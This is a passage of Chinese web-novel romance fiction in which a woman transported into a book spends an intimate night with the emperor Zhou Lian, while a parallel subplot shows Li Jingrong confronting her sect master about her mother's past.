永昭帝膝盖微抬,不轻不重地碾下去。 “慢……慢点!”宋迎聚焦的瞳仁汇成了惊恐。 他依言停下,额角却渗出细汗。 而后,几不可闻地深吸了一口气。 感觉的作用是双方的。 她能感觉他的,他亦能感受她。 于他而言,又何尝不是饮鸩止渴、另一种煎熬? 撑在宋迎耳侧的手臂上青筋暴起,他压下喉间粗喘。 低声道:“继续。” 他要听的,不是这些。 继续?还继续什么! 她知道的都已经掏干净了! 谁知道黎婧容那么执着“一诺千金”、“答应的事情一定要做到”啊! 要去理解正面人物的高尚逻辑吗! 正常人不都是“世上无难事,只要肯放弃”吗! 宋迎只能颤着声音,努力思考着: “或、或许她、她……她感念宋家旧恩,觉得亏欠于我,才……才执意想将我救走……” “救?” 他的万春殿是什么吃人的炼狱么,要从他身边“救”走她。 心头无名火起,永昭帝悍然沉腰。 战栗让宋迎眼前一黑,眼角瞬间沁出生理性的泪水。 她再也顾不上什么措辞不措辞的,出声骂道:“人家是前朝公主,在她眼里,你不就是大反派吗!” 触及永昭帝晦暗神色,宋迎口气又不自觉软了下来。 “如今人家要在京州起事,你这个坐镇的不在,岂不是给了他们可乘之机……” 她倒不是害怕永昭帝得知了她和黎婧容的关系会对她怎么样。 反倒是怕黎婧容—— 她若是知道自己心心念念要颠覆的暴君,手下有她这么一号人物。 按照黎婧容的性子,她会怎么想? 不至于拔剑弄死她,但割袍断义是免不了的。 不对啊,怀玉泽肯定会告诉她,他在地牢的所见所闻。 ——估计被黎婧容理解成,“纯良小白花被威胁警告,为了活命受尽屈辱”的戏码了? 难怪…… 难怪闲聊夜话,在她吐槽狗皇帝太大的时候,黎婧容会露出那般怜悯神色。 她以为是闺蜜夜话。 黎婧容以为是她被用强了?! 苍天啊,现在的她到底在黎婧容心里究竟是个什么人设啊! 这种时候的失神最容易被人察觉。 也更加罪无可赦。 “呀!” 宋迎察觉到了对面人的不安分,惊呼了一声。 垂眸一瞧—— 他们两人衣衫整齐,谁知底下竟是那般光景。 羞愤上头,她想屈膝去踹,却被早有预料地按住; 挣了挣手腕,束缚感却越动越紧,磨得腕骨一圈微微发烫。 她是打也打不成,踹也踹不成。 这次,是轮到永昭帝大口呼吸着。 他俯身埋在宋迎颈窝,热息时而烫着宋迎耳廓,时而游移至颈侧。 “朕不在京州到底是为了谁!” 他咬牙切齿道。 宋迎:……………… 少来这套道德绑架。 恋爱脑上头是要有代价的。 帐幔里空气稀薄。 宋迎有些头晕目眩,她奋力仰着头,抢夺氧气。 打踹不成,只能骂了! “你……你疯了!”宋迎抖着声音,带着些许哭腔,“这里是我家,万一、万一被人撞见……” “你住得是西厢房,离你兄嫂的东厢隔着一整个中庭,” 永昭帝说话声就比宋迎连贯不少,“况且你家早已遣散下人,又有谁会听见?” 敢情你来把这个摸清了是吧! “现在知道怕了?” 他语气陡然阴沉,笑道,“之前与叛贼谈的甚欢,怎么不见你怕!” “茵茵,”他双手撑于她耳侧, 一想起,她能容许那个叛贼这样喊她,便气不打一处来! “告诉朕,现在,你是谁的人?” 他又在问这个问题,“将来,又要当谁的人?” 永昭帝抬起头,灼灼目光望着宋迎。 水光在她眸中盈盈流转,盛满了他的身影。 宋迎终于迎来喘息间隙。 她皱着张小脸,刚想勾住他脖子,被缚住的双手只是动了动,便勒得更紧了。 宋迎没好气地翻了个白眼。 命令道:“下来。” 永昭帝挑眉,稍稍屈肘,将上身压低了几分。 下一秒,宋迎仰起头,用实际行动告诉她的答案。 但宋迎腹部没办法用力太久,仰卧起坐了几息,便又摔了回去。 永昭帝怔住了。 除 了唇上转瞬而逝的温度,还有什么东西—— 随着吻,一齐散了。 他眨了眨眼。 瞳孔骤然紧缩,金线飞速将墨色吞噬。 眉宇舒展之下,永昭帝眯起双眼,露出餍足神情。 接着,一声喟叹从他喉间溢出。 宋迎也意识到发生了什么。 ——“不会的。” 她想起他之前笃定的话语。 心瞬间安定了下来。 上一次,她好像没挨到这个时候,就累得睡过去了。 这次,宋迎完整地欣赏到了他这副模样。 还是头一回见清醒状态下的金色。 流光溢彩,是很漂亮的颜色。 她抿了抿唇,刚想抬手去推肩膀,让他起开。 永昭帝却先一步截住她双手,再度欺身而上。 他又吻了下来。 还来?! 宋迎震惊地瞪园了双眼。 这狗皇帝是属什么的?体力这么好? 就方才那一下,他分明已经…… 宋迎那点微末的抗拒,很快便被温柔瓦解。 舌尖扫过口腔,没有继续探入,而是细细的安抚,带着几声低哼,勾出缱绻。 两人都在这个吻里找回了原本的呼吸。 金眸渐渐褪去,恢复了深邃墨色,可眼底情/潮仍在。 他半眯着眼睛,欣赏着宋迎长睫沉溺,若是她此刻睁眼,定会同他一般,溺毙在深海之中。 良久,他终于退开,额头抵着她的。 不知何时,缚着双手的腰带已经被他解开。 指间穿过宋迎指缝,二人十指相扣,掌心相贴。 永昭帝轻轻啄了啄她的手背。 宋迎心头一跳,她抽回手,没好气地去推他:“重死了,下去。” 永昭帝意外的听话。 他撑起身子,利落退开,顺手还将她衣衫下摆抚平,才将她抱起,放在了床沿上。 在双腿之下,永昭帝双膝跪在了矮凳上。 宋迎坐着,他跪着。 她的视线,恰好略高于他。 烛光投下的暖黄描摹着他高耸眉骨,线条冷硬如山脊,可紧抿的薄唇勾出笑意,两者中和多一点坦诚意味。 “朕与那燕氏遗孤,”他缓缓开口,语调平和,“注定要争个你死我活。” “燕氏血脉一日尚存,于我大景江山而言,便是悬顶之剑。” 他漆黑瞳仁里映着她的身影,仿佛想透过她的眼睛,确认她是否明白其中的血海深仇。 “茵茵,你的想法呢?” 宋迎两条腿在床边晃荡着,听后心一沉,弧度骤然一僵。 她能有什么想法? 她当然不希望开战。 黎婧容是书中女主角,开战他必败无疑! 拿什么跟主角光环打? 这可是既定的剧情! 她亲眼在书里看过他的结局:暴君自戕,黎婧容—— 等等。他没死。 他没有自戕! 永昭帝好端端在自己眼前,难道……剧情已经偏离了? 那是不是就意味着一切都还有转圜的余地! 宋迎眼中迸现光亮。 见她迟迟不语,永昭帝眸色暗了暗。 他兀自轻笑一声,“也罢,你无需烦心。朕早已在京州布下天罗地网……” “不过是,瓮中捉鳖罢了。” 宋迎猛地回神,心口一窒。 见眼前男人如此笃定,她倒有些说不准了。 ……但是,好像,在被主角打脸之前,每本书里的反派都很自信的样子。 永昭帝没再给她深思的机会。 他仰头凑近,换了一种问法。 “茵茵,朕只问你,要不要一起回京州?” 宋迎抬眸,看着他眼中的自己。 她几乎没有犹豫,斩钉截铁道: “要。” 接着,宋迎凑上前,低头在他唇边亲了一下。 而后绽开笑意,“你没有弄疼我,所以,这是奖励。” “陛下——” 眼波流转间,满是促狭,“要不要?” 她摊开左手,“要?” “还是……不要?”继而摊开右手。 永昭帝喉结重重滚了滚,他轻笑一声握住宋迎左手。 十指再度相握,将她重新压回了衾枕之间。 含糊齿间溢出一声, “……周梿。” 第50章 第50章“此心所向,唯你一人而…… 是他的名字么。 原来,他叫这个名字。 宋迎眨了眨眼睛,还没消化完这个信息,便觉身上又是一沉。 ——他再次覆了上来。 “欸!” 她出声阻挠,抬着手肘去抵他胸膛。 永昭帝动作一停,歪头皱了皱眉,满是不解。 宋迎咬了咬唇,终于鼓起勇气去迎他视线,眉梢轻轻往上一挑。 永昭帝先是微怔,随即,眼底困惑化为笑意。 双手扣住她的腰,一个翻转。 失重一瞬,宋迎已然稳当坐在了他身上。 永昭帝一手枕在脑后,另一只手则扶着她的腰。 宋迎不敢看他,睫羽胡乱颤抖着,一双眼睛眨巴眨巴,东转转西瞅瞅,就是不肯落入那片墨黑。 原来上面,是这般光景。 前所未有的视角让宋迎微微有些兴奋。 兴奋混杂着莫名羞耻,心从来没有跳的这样快。 宋迎不自觉泄出一声闷哼。 永昭帝躺在床上,歪着脑袋,心中砸吧出别样滋味。 原来一切交予他人,竟是这般风味。 此时此刻,万事不由他掌控。 ——失控非但没让他心生恐惧,反而滋生出近近乎病态的愉悦感。 因为失控,所以每一分、每一秒都是未知的体验。 又因为未知,而充满刺激。 未知,会让人害怕。 也会让人兴奋不已。 永昭帝舒服地叹了声,闭上了眼睛。 但他仍旧舍不得错过宋迎的表情,于是又睁开了眼。 果不其然,宋迎咬着下唇,正极力平复着呼吸。 烛光在水润眼眸跳跃,闪着粼光,漾开潋滟。 当两人视线不小心相触时,她又会飞快眨两下眼睛,而后迅速移开。 他的审视太过露/骨,简直比之前还要难为情! 宋迎的身子恰好拢住一部分光线,在他身上投下一片暧昧昏黄。 可宋迎身子太小了,只能堪堪挡住小一半。 无论如何躲闪,宋迎都能看清那双含着狡黠的双眸。 她好气,气得把眼睛又闭上了。 “我想让你看看我。” 永昭帝则低低笑了几声,用气音哄道,“乖,把眼睛睁开。” 气音本就轻,被他语调一扬,勾出些许乞求意味。 宋迎抖着唇瓣,挣扎片刻,而后缓缓掀开眼帘。 狡黠不再,漆黑瞳仁含着光,嘴角扬起的瞬间,将那双眼睛也弯成了月牙。 那一刻,欲/望沉淀出纯粹。 无关情/欲,他笑着看着她。 他看着她笑。 萦绕心头许久的羞赧被这一笑冲淡,宋迎娇嗔地用指尖戳了戳他胸膛。 “周……梿,”宋迎找了个话题,她嗓音轻而软,“是哪个‘梿’呀?” “是水中清莲的莲,还是价值连城的连?” 永昭帝哑声答道:“木与连理之……的梿。” 宋迎轻哼一声,评价道:“好生僻的字。” 眉心微微蹙起,她似乎在细细思量这个字眼。 永昭帝搭在她腰间的手晃了晃,用唇形说道: ‘动一动。’ 宋迎品出了噙着嘴角的坏心。 五指立马收拢成拳,佯装怒意,压在他结实的腹肌上。 ——软绵绵的,是撒娇。 永昭帝笑意加深,他太了解她了。 她小动作越多,越是害羞。 便任由她闹着,餍足地感受着小幅度的起伏。 其实这样也挺好。 宋迎这样想着,起码她能开口说话了。 “我还以为王字旁的‘琏’已经够生僻了。” 为了缓解尴尬,宋迎把话题又拽了回来,“你这个‘梿’,有没有什么寓意?” 提及此,永昭帝笑意散了散。 “宗庙祭祀用的,”眸光一暗,连带着 声音也沉了几分,“……容器。” “‘宗庙瑚琏,阶庭兰玉’,那是国之栋梁。” “而我这个梿,不过是木头容器罢了。” 宋迎所有的小动作都停了。 指尖一顿,她顺着他胸膛趴下,仰起脸看着他。 可恶,他们身形悬殊太大,她这样根本够不到他。 她连下巴都亲不到! 宋迎索性放弃,抬起两根手指,指腹覆上他的唇,模仿着亲吻的动作。 ——去吻他。 “不要聊这种丧气话题了。”这个场合聊这个很奇怪欸。 宋迎已经忘了这是谁起的头了。 永昭帝垂眸,视线落在她覆在自己唇上的指尖。 应了声:“好。” 微张的唇瓣让齿尖有意无意刮过宋迎指腹。 他是故意的。 永昭帝将枕着的手抽出,两只手都搭在她腰间,箍紧腰肢,一条腿屈起膝盖,用于支撑。 宋迎惊惶瞪大双眼,等她意识到他想做什么的时候已经晚了。 光线将永昭帝的脸浸在昏黄里。 薄汗顺着下颌线滑落,他像是被反复浸入漆液里的扇面,不断捞出,又不断沉入。 沉入时,染上浓重色彩; 捞起时,翻起靡丽的光。 到最后,宋迎什么也看不清了。 她只能无力抓着他胸前衣襟,大口喘息着。 永昭帝凝视着眼前景象,心中只有一个念头, 下回,要把灯再点亮些。 …… 暮色沉沉,也不知是几更天了。 黏腻的汗意闷着骨缝里的酸软,宋迎趴在他身上顺着气。 说好的她来主导呢? 怎么又三两下被吃干抹净了,宋迎愤愤不平地想着。 突然,她想到了什么。 双手交叠,下巴搁在手背上。 “周梿,”她第一次喊他的名字,话还没说完,永昭帝喉间便溢出一声“嗯”。 他几乎是下意识地,去应她。 宋迎笑道:“我说一句,你跟着我说一句,好不好?” 永昭帝垂眸,望进她期许的眼底, 虽然不知道她要做什么,还是心甘情愿地点了点头。 “宋迎,”她一字一顿。 永昭帝凝视着她,温柔重复,“宋迎,” “我喜欢你,” “我——” 他才刚说出一个字,宋迎就飞快地伸出食指,像刚才那样,按住了他的唇。 “——就是执子之手,与子偕老的意思!” 古代世界当然会有“交往”、“我喜欢你”、“我想跟你在一起”这些情感需求和行为模式,只是表达方式、社会规则等等,与现代世界不同而已。 她不过就是中译中了一遍。 “我喜欢你,” 永昭帝笑着拉下她的手,握在掌心,继续说道:“就是执子之手——” “后面不用跟着说!” 宋迎用另一只空着的手,轻轻锤了下他锁骨。 她命令道:“重新说!” “好。”他从善如流,笑意更浓。 他微微收紧握着她的手,十分听话地重新说: “宋迎,我喜欢你。” 这句话从永昭帝嘴巴里说出来,宋迎听得心生雀跃。 她乘胜追击,扬声说道:“我能跟你在一起交往吗?” 永昭帝挑眉问:“意思?” “意思、意思就是——” 被他这么一闹腾,现在宋迎倒有些翻译羞耻了。 舌头打了结,褪下去的绯红又爬上双颊,一双水润杏眼扑闪着。 宋迎打算就地躺下装死。 “宋迎,”他在喊她。 宋迎闻声抬头,“嗯?” 永昭帝看着他。 点漆瞳仁只映着宋迎一人。 “此心所向,唯你一人而已。” 宋迎:………… 欸!敢情他都听懂了啊! “你!” 宋迎羞恼交加,烧红了脸,抬手就想去戳他胸口,却被他一把攥住了手腕。 掌心从她手腕摩挲至指尖,随即将她四指并拢。 而后指节弯曲,他在指节凸起处,轻轻落下一个吻。 朦胧烛光下,宋迎有一瞬间的恍惚。 她想,她大概是真的困了。 宋迎彻底放松下来,任由他牵着手。 侧过头,耳廓贴在他胸膛上,打算就这么睡一会。 他方才的告白,令她心动不已。 每一个音节都在心尖融化,就像—— 在吃带着糖霜的柿饼。 外层糖霜的甜味在舌尖融化,甜味温和,一点也不齁。 咬开后迅速带出香气,里面果肉软糯,口感丰富。 很快就能尝到蜜饯悠长的回甘。 ——“此心所向,唯你一人而已。” 宋迎一遍遍在心底念着这句话。 ……嗯。 嗯? 等等。 宋迎猛地睁开眼睛,正色抬首,整个人从他身上翻下来。 她就这么跪坐在他身侧,“你……” 声音微微颤抖,“……把刚刚把你说的话,再说一遍。” 永昭帝被她郑重神情一惊,蹙了蹙眉。 虽是满心疑惑,却也依着她: “此心所向,唯你一人而已。” ——唯。 唯有,这是一个拥有排他性、限制性的词语! 只要原著没有用“唯一”、“只有”这样的词语写死, 只要不是“必须”,只要不是“只能”, 只要剧情的留白足够多, 那么书里的世界,就可以创造无限的可能性! ——书里没有明确说明,这个朝代不可以有摄政王。 所以她没有事,她可以上朝、可以批奏折,因为作者没有写“只有永昭帝——” 所以她才能在剧情支线里穿梭那么久! 因为,这本来就是一篇限制级着墨过多、剧情偏少的书! 就像,黎婧容的两次刺杀,在书页上仅仅相隔了几页纸。 但是对于书中人物而言,是过了一整个冬天! 人,存在于每天二十四小时中。 而人物,则存在于幕起幕落之间,淡入淡出之间,首页尾页之间。(1) 幕落、淡出、尾页都可能是作者笔下的死亡, 那么, 幕落之后呢? 作者笔下的死亡,真的就是不可违逆的终点吗? 如果在幕落之后,用另一个身份活下来呢? 可以的!按照这个思路,这个方法是可行的! 以黎婧容的性格,她肯定会帮她的。 她是燕国后人,肯定有什么假死药! 唯一的变数是—— 是他。 欣喜只存在了几息,眸光又迅速黯淡。 宋迎看向眼前的男人。 他真的愿意舍弃万里江山,陪她远走高飞吗? 永昭帝见宋迎神情数变,最后竟然失魂落魄起来。 伸手覆上她侧脸,侧目问道:“到底怎么了?” 50-58 第51章 第51章万悲同喜。 “睡吧。” 温柔目光止住了宋迎想说的话,他抬手去揉宋迎的鬓发。 “说好了要一起回京州的。” 宋迎垂下眼帘,默默点了点头。 见她颔首,永昭帝掌心覆上她蝴蝶骨,纤细被往下压了压: “不养精蓄锐怎么行?” 宋迎顺着他的力道,重新伏回他身上。 奇怪,消散的睡意竟然在他一下下的轻拍中,重新卷了上来。 像细小浪花,温柔地漫过沙滩,卷走脚趾缝里的沙子,让你舍不得离开。 可是—— 一旦当你远离了海水,转身走向岸上,潮湿的脚底板又要沾满细沙了。 此时此刻,宋迎不想上岸,也不愿离开。 如墨长发铺展开来,随着她的动作,发梢悄然滑过他腰际。 痒得永昭帝微微一怔。 他能听见他们交错的呼吸声。 他能清晰地听见两股呼吸声,从交错,渐渐纠缠,最终变得同起同伏。 仅此,他的心兀自塌陷一角,变得无 比柔软。 曾经,他觉得万籁俱寂很好, 孤高绝顶,无悲无喜。 如今,他反而觉得太安静不好。 太安静,意味着他听不见她的心跳,听不见她的呼吸。 ——意味着,她不在他的身边。 他也曾怨天道不公, 生来便被期许死去—— 纵然他的母亲,贵为皇后, 他也不过是他们一抹急于抹除的污点。 只要他死了,这桩丑闻便不会有人知道。 宗庙多一处牌位,或许会为他多上几炷香。 可这奇蛊,夺走他正常的五感,却也给了他点什么。 给了他百毒不侵的身体,给了超乎凡人的气力,给了他旷古绝今的根骨。 但是,他还是觉得天道不公, 上天赐给他的苦难太多了,多到他觉得自己活着好累。 每一息,都好累啊。 可如今,他反而觉得上天赐给他的苦难太轻了。 如果世间万物皆有守恒,以秤为量。 那上天赐给他的苦难,还是太轻了。 他若能活到百岁,应该从五十岁再开始幸福才对。 过往所受的一切,根本不足以换来如今的万分之一。 为什么,现在,他已经觉得很幸福? 幸福到一想起他们终会被死亡分离,便惶恐得令他痛苦至极。 每一息,都是刀绞。 痛苦让他开始怨恨—— 上天赐给他的苦难不够多,不够深。 要是上天赐给他的苦难够多, 那她怜惜的目光,就会在他身上多停留几瞬。 她就会多看他几眼,再多看他几眼。 突然,那些难以启齿的过去,因为悲惨而有了意义。 它们有了无与伦比的价值。 他几乎迫不及待地,将伤疤撕开,任凭鲜血淋漓而下,去滋养荒芜。 血泊里生出了藤,藤蔓纠缠,在他掌心开出了绚烂花朵。 她的存在, 让万悲同喜。 他忽然想笑。 上天, 还是太偏爱他了。 赐给了他独一无二的命中注定。 自此,无需追问缘由,也不必计较分毫。 是何时开始在意,又是在意哪一点? 根本不必去想。 是所有的、是一切的、是全部的, 是他拥有的、是他没有拥有的。 他都在意。 这份在意分解、发酵,与之同存的,还有怯懦。 他不敢去提,不敢将自己与燕贼并列,放在天平上,逼问她孰轻孰重,让她为难。 他一直都知道。 从万寿节那日起,他就知道。 她的心,好像永远都会偏向他们一点。 帮他们逃脱,为他们谋划,予他们栖身之所…… 她总在刻意护着他们。 追根究底,京州灾祸是他一手造成。 他早已看清,却太过贪婪。 妄图从她紧闭的指缝间,汲取那一丝半缕能续命的水源。 否则,又怎会纵容叛军至此? 万般错,皆是他一人之过。 幸好—— 幸好上天还是眷顾他的, 这次,她的心,倒向了他这一边。 * 孤峰凌霄,绝壁临崖。 剑云宗,思过堂。 “胡闹!” 一声怒喝拍案而起,怀律前霍然起身,“你当义军腰牌是什么?街边随意施舍的烧饼吗!” 他声色俱厉,凛冽目光直射堂下跪着的二人。 怀玉泽拱手道:“师叔息怒,容儿她……” “闭嘴!”怀律前横眉一竖,厉声打断,“你师父闭关前,将你托付于我,我便有权管束!你与她一同下山,非但不阻止,还纵容她犯下大错!” “罪加一等!滚去书楼,将门规给我罚抄一百遍!” 黎婧容猛然抬首,眼含倔强:“此事与师兄无关!是我一人所为,便由我一人承担!” “啪——” 倏然,掌掴声在堂内响起。 黎婧容被打了一个踉跄,白皙脸颊瞬间浮起五道指痕。 泪光乍现,她拼命咬着下唇,不肯落下。 “容儿!” 怀玉泽想也不想便膝行两步,将黎婧容护在身后。 怀律前见他这副不争气的维护模样,更是气不打一处来。 扬起的手臂猛地在空中一顿,眼前之前,终究是剑云宗的少宗主。 胸膛剧烈起伏过后,巴掌还是没能落下。 怀律前一把挥开他: “滚开!你私自将宗门令牌赠予外人的账,我还没与你算!” “宗门可不是什么人都收留,剑云宗的门楣,早晚要被你们这对不知天高地厚的——” 话未说完。 “师父,” 突然,空中划过一道声音。 那声音清冷空悠,仿佛携山间清泉而来,瞬间灭了怀律前心中三把火。 只见大堂上方,素白身影无声飘落。 来人身形颀长,一袭白衣不染纤尘,周身唯一的饰物,便是腰间挂的那枚青兰玉佩。 玉肉通透,流光内敛。 “信鸽都放出去了。” 怀玉珩落地无声,恰好立在怀律前身前,堪堪挡住他望向堂下二人的目光。 轻描淡写一句话,瞬间将怀律前的全部心神拉回正事。 眉间怒意稍散,他沉声问道: “之前往辽州去的那些鸽子,玉泽说他并未接到。” 他觑了眼怀玉泽,“玉珩,此事可有眉目?” 怀玉珩垂眸敛目,微微颔首。 他眸中空然,别说跪于数步之外的怀玉泽和黎婧容,就连面前的怀律前,似乎也并未入他的眼。 “查明了,”怀玉珩言简意赅,“辽州内,暴君暗中势力突增,我方信鸽尽数折于其手。” “果然是他。”怀律前冷嗤一声,“届时国仇家恨,一并清算。” 他猛一挥袖,又厉声转向另两人: “孽障!还杵在这里做什么!滚下去,门规三百遍!” 怀玉泽闻言,默默垂下了眼。 他身侧的黎婧容,嘴角带血,目光怔怔盯着怀律前。 她挣开了怀玉泽搀扶的双手,踉跄直起身子,颤声开口: “弟子有一事不明,斗胆敢问——” 她猛地拔高音量: “大国师!” 怀律前听见大国师三个字,脸色骤变。 却听黎婧容继续说道: “国仇家恨,究竟是谁的国,谁的家?又是谁的血海深仇……” 她自嘲一笑,“还是说,只是私心而已?” 怀律前嘴角抽动了几下,努力维持着面上的平静。 “……谁告诉你的?” ——“欸,好奇怪。你们燕国和南疆都玩蛊,按理说亲如一家,怎么会舍近求远,跑去剑云宗那种耍剑的地方拜师?” 是啊,宋迎一句无心之言,才让她觉出不对。 燕国与南疆素来交好,没有必要远赴临崖峭壁的剑云宗。 是她这位师叔,在瞒着她什么? “剑阁……”怀律前察觉了什么,视线越过黎婧容,射向她身后的怀玉泽。 “你带她去看了密卷!” “与他无关!”黎婧容瞬间横跨一步,挡在怀玉泽身前。 “当年,南疆在燕国的扶持下声势日隆,老宗主便想效仿,攀附景国。可惜啊,景国不屑与江湖为伍……” “于是,他便又将主意打到了燕国的头上。” 泪意上涌,眼眶又酸又胀, 黎婧容只能拼命撑着眼帘,不让水雾凝聚落下。 视野有些模糊,她怕一眨眼,自己更看不清眼前男人的嘴脸。 “我母妃秦氏,是不是就是黎晴?!” 她嘶吼质问,泪水滚过右颊伤口。 怀律前瞳孔剧烈一震。 “剑云宗把我母妃献给燕国,这个仇,我是找永昭帝报,还是该找你——找整个剑云宗清算!” “放肆!”怀律前气血攻心,再度扬起手掌。 黎婧容不进反退,挺直了脖颈,将自己淌着血泪的脸又往前送了几分。 那双泪水滂沱的眼睛,闪着水光,亮得骇人。 “是您,”黎婧容逼视着怀律前,“是您,亲手将她送去的。” “师!叔!” 她凄然吼道,“这么多年,错不是把我母妃送给燕国的你吗!” “黎婧容!” 怀律前彻底失控,烧灼赤红漫上眼底,嘶吼着便要冲上前来: “你目无尊长,秽乱宗门!罚禁足三月,即刻领丈责八十!没有我的命令,不许上药!” 满室风雨,剑拔弩 张。 又是那道清冷声线响起,“师父,” 不疾不徐。 怀玉珩淡然开口,“山门外的义军,还等着黎师姐去动员。” 怀律前暴怒的动作戛然而止,脸上顿时青白交加。 他一时语塞,半晌才缓缓说道:“自然……是大事要紧。” 继而色厉内荏道:“先滚去宗门口!你的账,我们回来再好好算!” 出了思过堂,黎婧容硬着头皮往前走了数十步。 终于她还是没忍住,脚步一顿,转身扑进怀玉泽怀里大哭起来。 怀玉泽收紧手臂,摸了摸黎婧容的头。 目光却越过她发顶,投向不远处。 怀玉珩脚步没有丝毫停顿,仿佛没看见他们似的,默默从他们身侧飘过。 “师弟!” 怀玉泽出声喊住他。 怀玉珩面无表情,微微侧首。 “多谢。” 若不是怀玉珩在师叔面前,瞒下了他截杀信鸽的行径。 今日之事,绝不可能轻易了结。 “客气。”怀玉珩目光淡淡扫过他,“我在山门口等你们。” 说罢,他转过头,朝山门口飘去。 第52章 第52章不能被家里人知道!…… 晓色鸦青,窗漏冷光。 两人各怀心事。 这一觉宋迎睡得不踏实。 只眯了三刻钟便醒了。 她还没想好怎么跟周梿开口提。 但是这种事得从长计议,总不能跟他探讨二维三维的哲学命题吧。 ……这也太抽象了。 宋迎刚从他臂弯里溜出来,便看见周梿埋在枕间的侧脸。 呼吸平稳,那截露出的脖颈却线条绷紧,宋迎隐约能看见淡淡筋络。 他真的睡着了吗? 宋迎心头一动,伸出指尖,戳了戳他小腹。 肌肉瞬间绷了绷,身子一抖,枕头里传来一声又沉又哑的闷哼。 她凑近了些,“你没睡,在做什么?” 他没动:“在闻味道。” 从前他这么说宋迎当然不会觉得有什么。 ——她的气息能抚/慰他。就像生病的人去吃药一样自然。 如今再听,宋迎倒觉得有些像情话了。 这也太抽象了…… 宋迎像是得了“浪漫过敏症”,耳根“唰”一下红了。 周梿似有所感,微微侧过头,露出半只眼睛觑她。 热意瞬间燎上脸颊。 宋迎不想理他了,打算起床去洗漱。 床窄,她只能撑着床褥,从周梿身上翻过去。 右臂探到床外侧借力,指腹却触及一片湿滑黏腻。 冰冰凉凉的—— 触感太诡异了。 啥呀? 下一瞬,宋迎就反应过来到底是什么了! 她头皮阵阵发麻,身体内仿佛存在着天生的抵触性。 宋迎低声惊叫一声,忙不迭翻下床。 随即五指张开,高举空中。 还好房间里有白水。 本能先一步做出反应,她拎着水壶就往那几根手指上猛猛浇。 冲完了当然不能用她手帕去擦。 宋迎又三两步奔到床边,把一手水珠全部擦在周梿赤/裸的胸膛上。 周梿:……? 收拾完自己,宋迎打算用清水刷一下床褥。 这要是被爹娘发现了!简直比她这个年纪尿床还要社死! 她拎着水壶就要去浇,却一把被周梿握住了手腕。 他坐起身,眸色一沉:“没用的。” 宋迎又急又气,拧着眉:“你怎么知道?” 周梿薄唇微抿,又一次语塞了。 空气静了两息。 宋迎眨了眨眼,反应过来了! 她指着他,语无伦次道:“你!上次你、你换床褥是不是因为……因为你在我床上——” 周梿微不可查地点了点头,算是默认。 继而弯腰下床,抓过散在地上的衣裳,慢条斯理地一件件往身上套。 宋迎盯着星星点点的浊斑。 面如死灰,喃喃自语道:“要不……我们放把火把西厢烧了吧?” “烧得干干净净,就没人知道了……” 闻言,周梿系着腰带的手一顿,转过身来,眉梢高高挑起。 “朕已命人去集市采了与之一样的床褥款式。” 话里满是促狭笑意,“如此一来……算不算救你宋家于水火之中了?” “你买新的啦!” 宋迎上一秒还打算纵火,下一秒立刻眉飞色舞了起来。 她双手背在身后,蹦到周梿身旁。 下意识踮起脚尖,想去亲他,但是—— 差了一截。 她又忘了她够不到! 宋迎一皱眉,叉腰命令道: “下来点。” 周梿正理着袖间盘扣,闻言虽是不解,却也顺从弯腰。 “怎么——” 话音被唇角一个吻堵了回去。 宋迎笑得眉眼弯弯,“谢谢你。” 周梿还维持着方才的姿势,单手拢着盘扣,整个人都僵了一瞬。 被吻过的嘴角却压不住地,向上扬起一个清晰弧度。 不是“谢谢”, 而是“谢谢你”。 只是多了一个字,便多了无尽的温柔。 尾音自舌根处卷起,声音充斥温软口腔,缠绕出缱绻,填满了他整个胸膛。 眸光漾着柔情,周梿问道: “可有笔墨吗?” “有的。” 宋迎指了指桌案一角。 她看着他信步走向桌案。 随即从怀中取出一枚竹筒,将写好的字条卷好塞入。 再推开窗,窗外黑影掠过。 收走旧筒,又递上新筒。 一收一递。 如此反复,时间便过去几刻钟了。 宋迎坐在床沿,晃着腿,就这么静静地看着。 原来,他不在京州,便是这样处理公务的。 神经一松,肚子就开始叫了。 该吃饭了! 她犹豫再三,还是开口道: “我……我想留家用个早膳再走。” 宋迎怕他拒绝,又急急补充道:“上次走得匆忙,都没能跟家人好好告别。这次,我想跟他们说会话。” 周梿处理完公务,将空白信笺卷好,收回怀中备用。 听见宋迎的请求,他几乎是下意识的点头。 他盘算过这个问题。 宋迎是个十分恋家的人。哪怕只是半日,她也会开心很久。 多和家人相处其实也没什么,自己完全可以等她用完午膳再走。 至于行程,晚些也无妨。 无非是他路上多耗些内力的事。 若是她想留下用晚膳,自己也可以依着她。 但是夜晚行路,多半风凉,得多备条毯子给她盖才好。 “随你,”周梿将这些念头在心里压了一遍,“最迟可以用完晚膳再走。” 他本以为宋迎听后会欢呼雀跃,能再讨一个吻。 谁知宋迎听闻脸色瞬间一变,差点跳起来:“不不不不不不!” “够了!用个早膳就够了!” 开什么玩笑,留下来吃两顿他大哥做的饭还得了?! 也就只有嫂嫂愿意惯着他。 周梿眉头一皱,“那……我在这里等你。” “不,” 宋迎跳下床,几步走到他面前,一把牵住了他的手。 她摇了摇头,“我们一起去。” …… 饭厅内。 空气微凝。 “茵茵……你今日就要回京州了?” 谢花娘的目光,在玄铁面具与宋迎带笑的脸之间,来回游移数次,最终还是落在了宋迎的身上。 “嗯。”宋迎点了点头。 宋员外夫妇交换了一个眼神,目光频频瞥向女儿身侧的男人,一脸担忧。 “茵茵啊,”还是宋员外小心翼翼开口问道,“这位……大人,不知如何称呼?” 说罢,他朝宋迎身侧的男人拱手行礼。 “忘记了介绍了,这是我在宫里的贴身侍卫,周——” “咳!咳咳咳咳!” 身侧的男人忽然爆出一阵咳嗽声,打断了宋迎的话。 宋迎瞬间反应过来自己险些说了不该说的话。 她一心虚,声音陡然拔高,顺着音节圆下去:“瞅瞅!!爹,娘,你们瞅瞅!” “——这一身,”宋迎指着周梿夸张地比划起来,“嚯!瞧这身板!瞧这气度!武功盖世,那可是宫里一等一的高手!” 宋迎还豪迈地一巴掌拍在他肩上。 而那肩膀却纹丝不动,反倒把她手心震得发麻。 宋家众人一齐面无表情地眨了眨眼。 宋迎干笑两声, 草草收尾:“……他叫阿梿。” 宋晋同嘀咕了一句:“阿莲?听着像个姑娘家。” 谢花娘轻轻打了下他胳膊,示意他别说了。 “既然是从宫中来的,便是贵客。”谢花娘矮身行礼,伸手请道,“劳烦大人上座。” 周梿一袭黑衣,斗篷兜帽深垂,将面具遮掩住大半。 他微微旋身,转向宋迎。 宋迎连忙摆手,“不麻烦不麻烦,他……他戴着面具呢,吃喝不便。” 谢花娘视线又在他们两人之间打了个转,笑道: “如此,请贵客自便吧。” 周梿一言不发,颀长身形无声退至廊下,背倚廊柱。 